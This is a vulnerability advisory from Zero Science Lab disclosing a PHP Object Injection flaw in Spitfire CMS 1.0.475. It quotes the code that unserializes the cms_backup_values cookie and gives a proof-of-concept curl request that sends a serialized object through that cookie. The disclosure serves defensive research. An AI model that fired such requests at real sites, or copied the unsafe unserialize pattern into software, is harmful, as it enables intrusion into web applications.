Spitfire CMS 1.0.475 (cms_backup_values) PHP Object Injection
Vendor: Claus Muus
Product web page: http://spitfire.clausmuus.de
Affected version: 1.0.475
Summary: Spitfire is a system to manage the content of webpages.
Desc: The application is prone to a PHP Object Injection vulnerability
due to the unsafe use of unserialize() function. A potential attacker,
authenticated, could exploit this vulnerability by sending specially
crafted requests to the web application containing malicious serialized
input.
-----------------------------------------------------------------------
cms/edit/tpl_backup.inc.php:
----------------------------
47: private function status ()
48: {
49: $status = array ();
50:
51: $status['values'] = array ();
52: $status['values'] = isset ($_COOKIE['cms_backup_values']) ? unserialize ($_COOKIE['cms_backup_values']) : array ();
...
...
77: public function save ($values)
78: {
79: $values = array_merge ($this->status['values'], $values);
80: setcookie ('cms_backup_values', serialize ($values), time()+60*60*24*30);
81: }
-----------------------------------------------------------------------
Tested on: nginx
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2022-5720
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5720.php
28.09.2022
--
> curl -isk -XPOST http://10.0.0.2/cms/edit/tpl_backup_action.php \
-H 'Content-Type: application/x-www-form-urlencoded'
-H 'Accept: */*'
-H 'Referer: http://10.0.0.2/cms/edit/cont_index.php?tpl=backup'
-H 'Accept-Encoding: gzip, deflate'
-H 'Accept-Language: en-US,en;q=0.9'
-H 'Connection: close' \
-H 'Cookie: tip=0; cms_backup_values=O%3a3%3a%22ZSL%22%3a0%3a%7b%7d; cms_username=admin; PHPSESSID=0e63d3a8762f4bff95050d1146db8c1c' \
--data 'action=save&&value=1'
#--data 'action=save&&value[files]={}'
